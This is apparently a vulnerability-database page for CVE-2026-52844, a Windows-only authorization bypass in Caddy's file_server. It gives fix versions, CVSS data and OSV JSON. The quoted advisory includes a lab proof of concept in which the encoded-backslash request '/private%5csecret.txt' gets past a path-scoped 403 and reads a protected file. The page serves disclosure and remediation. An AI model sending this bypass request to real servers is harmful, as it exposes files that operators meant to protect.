CVE-2026-52844: Caddy Windows `file_server` Path Authorization Bypass Vulnerability

HIGH
Advisory Identifier: GHSA-qrp7-cvwr-j2c6
CVSS 7.5
CWE-284 CWE-22
Published
Advisory Summary

CVE-2026-52844 is a HIGH (CVSS 7.5) windows `file_server` path authorization bypass vulnerability (CWE-284: Improper Access Control) affecting Caddy libraries in the Go ecosystem. The issue involves windows `file_server` path authorization bypass via encoded backslash. Remediation is available by upgrading affected packages to version 2.11.4.

CVE-2026-52844 at a Glance

CVE Identifier CVE-2026-52844
GHSA Identifier GHSA-qrp7-cvwr-j2c6
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-284: Improper Access Control
Affected Product Caddy
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-52844

To remediate this vulnerability, upgrade all affected Caddy dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/caddyserver/caddy/v2 fixed: 2.11.4
Upgrade github.com/caddyserver/caddy/v2 to 2.11.4
github.com/caddyserver/caddy fixed: Latest secure release
Upgrade github.com/caddyserver/caddy to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/caddyserver/caddy/v2

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-52844, inspect your project dependencies for Caddy:

inspect dependencies for github.com/caddyserver/caddy/v2

Analyze the terminal output to locate any version of Caddy in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.11.4), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-284: Improper Access Control, where the product does not restrict or incorrectly restricts access to a resource from an unauthorized actor. In Caddy, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary On Windows, Caddy `path` matchers treat `/private\secret.txt` as outside `/private/*`, but `file_server` later resolves the same request path as `private\secret.txt` on disk. An unauthenticated remote client can request `/private%5csecret.txt` and bypass Caddy path-scoped auth/deny routes protecting `/private/*`. ### Details The mismatch is between two Caddy code paths: - `MatchPath.MatchWithError()` compares `r.URL.Path` using URL path semantics and does not normalize `\` to `/`: `modules/caddyhttp/matchers.go:429`, `:436`, `:490`, `:532`. - If the route matcher misses, Caddy skips that route: `modules/caddyhttp/routes.go:271`. - `file_server` then maps the same request path to a filesystem path with `SanitizedPathJoin(root, r.URL.Path)`: `modules/caddyhttp/fileserver/staticfiles.go:294`, `modules/caddyhttp/caddyhttp.go:257`, `:263`. - On Windows, Go filesystem path handling treats `\` as a separator, so the default filesystem opens the file under the protected directory: `internal/filesystems/os.go:18`. This is related to, but distinct from, `GHSA-4xrr-hq4w-6vf4 / CVE-2026-27585`. That advisory fixed backslash handling in the `file` matcher / `try_files` glob path. This report does not use `try_files` or the `file` matcher; it affects ordinary `path` route matchers in front of direct `file_server` serving and reproduces on current HEAD. ### PoC Tested on current HEAD `6c675e29f87cbe7326983ddb6d739175119d394c` with a Windows `caddy.exe` built from this repository. On Windows, create the test files and Caddyfile: ```powershell $base = "C:\Users\Public\caddy-backslash-poc" Remove-Item -Recurse -Force $base -ErrorAction SilentlyContinue New-Item -ItemType Directory -Force "$base\www\private" | Out-Null Set-Content -Path "$base\www\private\secret.txt" -Value "SECRET_FROM_WINDOWS_LAB" -NoNewline -Encoding ASCII @' { debug admin off auto_https off } :19080 { log root * C:\Users\Public\caddy-backslash-poc\www @private path /private/* respond @private 403 file_server } '@ | Set-Content -Path "$base\Caddyfile" -Encoding ASCII ``` Start Caddy: ```powershell cd C:\Users\Public\caddy-backslash-poc .\caddy.exe run --config Caddyfile --adapter caddyfile ``` Baseline request, expected to be blocked: ```bash curl -v --path-as-is http://<windows-host>:19080/private/secret.txt ``` Observed: ```text > GET /private/secret.txt HTTP/1.1 < HTTP/1.1 403 Forbidden ``` Bypass request: ```bash curl -v --path-as-is 'http://<windows-host>:19080/private%5csecret.txt' ``` Observed: ```text > GET /private%5csecret.txt HTTP/1.1 < HTTP/1.1 200 OK < Content-Length: 23 SECRET_FROM_WINDOWS_LAB ``` Uppercase `%5C` produces the same result. Relevant debug log lines: ```json {"msg":"using config from file","file":"C:\\Users\\Public\\caddy-backslash-poc\\Caddyfile"} {"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]} {"logger":"http.log.access","request":{"method":"GET","uri":"/private/secret.txt"},"status":403} {"logger":"http.log.access","request":{"method":"GET","uri":"/private%5csecret.txt"},"status":200} ``` ### Impact This is a Windows-only remote authorization bypass for deployments that protect static subtrees with Caddy path matchers before `file_server`. This pattern is documented by Caddy itself, for example `basic_auth /secret/* { ... }` followed by `file_server`. An attacker can read files that were intended to be protected by Caddy-side `basic_auth`, `respond 403`, or other path-scoped handlers. The issue does not escape the configured site root; `..%5c` traversal is still blocked. The practical impact is sensitive file disclosure inside the protected subtree, with higher impact if that subtree contains backups, database files, exported admin data, credentials, or signing/session secrets. ### Suggested Fix Normalize Windows path separators consistently before `MatchPath` evaluates request paths, or reject request paths containing `\` before `file_server` resolves them as filesystem separators. The important invariant is that a request path used for route authorization must not later resolve to a different protected filesystem path. ### AI Disclosure LLM assistance was used for codebase analysis and report drafting. The PoC was manually validated, including an end-to-end reproduction on a Windows Server lab host using a Windows `caddy.exe` built from current HEAD.

CVE-2026-52844 Affected Caddy Versions

2 component(s)
Fixed Versions:
2.11.4
Product / Package Ecosystem Affected Versions Fixed Version
github.com/caddyserver/caddy/v2
Go
< 2.11.4
2.11.4
github.com/caddyserver/caddy
Go
≤ 1.0.5

References

Frequently Asked Questions

What is CVE-2026-52844?
CVE-2026-52844 is a security vulnerability in Caddy involving Windows `file_server` path authorization bypass via encoded backslash under CWE-284: Improper Access Control.
Which Caddy versions are affected?
Affected versions include releases prior to 2.11.4 across affected packages: github.com/caddyserver/caddy/v2, github.com/caddyserver/caddy.
What version fixes CVE-2026-52844?
Upgrading to 2.11.4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/caddyserver/caddy/v2 affected?
Yes, github.com/caddyserver/caddy/v2 is affected in releases prior to 2.11.4. Upgrade your dependency to 2.11.4 or later.
Is github.com/caddyserver/caddy affected?
Yes, github.com/caddyserver/caddy is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-52844?
CVE-2026-52844 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N.
What CWE is associated with CVE-2026-52844?
CVE-2026-52844 is classified under CWE-284: Improper Access Control (The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.).
How can I check Go dependencies for CVE-2026-52844?
Run the dependency tree command: 'inspect dependencies for github.com/caddyserver/caddy/v2'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-qrp7-cvwr-j2c6",
  "modified" : "2026-07-20T21:02:09Z",
  "published" : "2026-06-16T21:28:11Z",
  "aliases" : [ "CVE-2026-52844" ],
  "summary" : "Caddy: Windows `file_server` path authorization bypass via encoded backslash",
  "details" : "### Summary\n\nOn Windows, Caddy `path` matchers treat `/private\\secret.txt` as outside `/private/*`, but `file_server` later resolves the same request path as `private\\secret.txt` on disk.\n\nAn unauthenticated remote client can request `/private%5csecret.txt` and bypass Caddy path-scoped auth/deny routes protecting `/private/*`.\n\n### Details\n\nThe mismatch is between two Caddy code paths:\n\n- `MatchPath.MatchWithError()` compares `r.URL.Path` using URL path semantics and does not normalize `\\` to `/`: `modules/caddyhttp/matchers.go:429`, `:436`, `:490`, `:532`.\n- If the route matcher misses, Caddy skips that route: `modules/caddyhttp/routes.go:271`.\n- `file_server` then maps the same request path to a filesystem path with `SanitizedPathJoin(root, r.URL.Path)`: `modules/caddyhttp/fileserver/staticfiles.go:294`, `modules/caddyhttp/caddyhttp.go:257`, `:263`.\n- On Windows, Go filesystem path handling treats `\\` as a separator, so the default filesystem opens the file under the protected directory: `internal/filesystems/os.go:18`.\n\nThis is related to, but distinct from, `GHSA-4xrr-hq4w-6vf4 / CVE-2026-27585`. That advisory fixed backslash handling in the `file` matcher / `try_files` glob path. This report does not use `try_files` or the `file` matcher; it affects ordinary `path` route matchers in front of direct `file_server` serving and reproduces on current HEAD.\n\n### PoC\n\nTested on current HEAD `6c675e29f87cbe7326983ddb6d739175119d394c` with a Windows `caddy.exe` built from this repository.\n\nOn Windows, create the test files and Caddyfile:\n\n```powershell\n$base = \"C:\\Users\\Public\\caddy-backslash-poc\"\nRemove-Item -Recurse -Force $base -ErrorAction SilentlyContinue\nNew-Item -ItemType Directory -Force \"$base\\www\\private\" | Out-Null\nSet-Content -Path \"$base\\www\\private\\secret.txt\" -Value \"SECRET_FROM_WINDOWS_LAB\" -NoNewline -Encoding ASCII\n\n@'\n{\n\tdebug\n\tadmin off\n\tauto_https off\n}\n\n:19080 {\n\tlog\n\troot * C:\\Users\\Public\\caddy-backslash-poc\\www\n\n\t@private path /private/*\n\trespond @private 403\n\n\tfile_server\n}\n'@ | Set-Content -Path \"$base\\Caddyfile\" -Encoding ASCII\n```\n\nStart Caddy:\n\n```powershell\ncd C:\\Users\\Public\\caddy-backslash-poc\n.\\caddy.exe run --config Caddyfile --adapter caddyfile\n```\n\nBaseline request, expected to be blocked:\n\n```bash\ncurl -v --path-as-is http://<windows-host>:19080/private/secret.txt\n```\n\nObserved:\n\n```text\n> GET /private/secret.txt HTTP/1.1\n< HTTP/1.1 403 Forbidden\n```\n\nBypass request:\n\n```bash\ncurl -v --path-as-is 'http://<windows-host>:19080/private%5csecret.txt'\n```\n\nObserved:\n\n```text\n> GET /private%5csecret.txt HTTP/1.1\n< HTTP/1.1 200 OK\n< Content-Length: 23\n\nSECRET_FROM_WINDOWS_LAB\n```\n\nUppercase `%5C` produces the same result.\n\nRelevant debug log lines:\n\n```json\n{\"msg\":\"using config from file\",\"file\":\"C:\\\\Users\\\\Public\\\\caddy-backslash-poc\\\\Caddyfile\"}\n{\"logger\":\"http.log\",\"msg\":\"server running\",\"name\":\"srv0\",\"protocols\":[\"h1\",\"h2\",\"h3\"]}\n{\"logger\":\"http.log.access\",\"request\":{\"method\":\"GET\",\"uri\":\"/private/secret.txt\"},\"status\":403}\n{\"logger\":\"http.log.access\",\"request\":{\"method\":\"GET\",\"uri\":\"/private%5csecret.txt\"},\"status\":200}\n```\n\n### Impact\n\nThis is a Windows-only remote authorization bypass for deployments that protect static subtrees with Caddy path matchers before `file_server`.\n\nThis pattern is documented by Caddy itself, for example `basic_auth /secret/* { ... }` followed by `file_server`.\n\nAn attacker can read files that were intended to be protected by Caddy-side `basic_auth`, `respond 403`, or other path-scoped handlers. The issue does not escape the configured site root; `..%5c` traversal is still blocked. The practical impact is sensitive file disclosure inside the protected subtree, with higher impact if that subtree contains backups, database files, exported admin data, credentials, or signing/session secrets.\n\n### Suggested Fix\n\nNormalize Windows path separators consistently before `MatchPath` evaluates request paths, or reject request paths containing `\\` before `file_server` resolves them as filesystem separators.\n\nThe important invariant is that a request path used for route authorization must not later resolve to a different protected filesystem path.\n\n### AI Disclosure\n\nLLM assistance was used for codebase analysis and report drafting. The PoC was manually validated, including an end-to-end reproduction on a Windows Server lab host using a Windows `caddy.exe` built from current HEAD.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/caddyserver/caddy/v2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.11.4"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/caddyserver/caddy"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "1.0.5"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/caddyserver/caddy/security/advisories/GHSA-qrp7-cvwr-j2c6"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-52844"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/caddyserver/caddy"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22", "CWE-284" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-16T21:28:11Z",
    "nvd_published_at" : "2026-06-23T18:18:05Z"
  }
}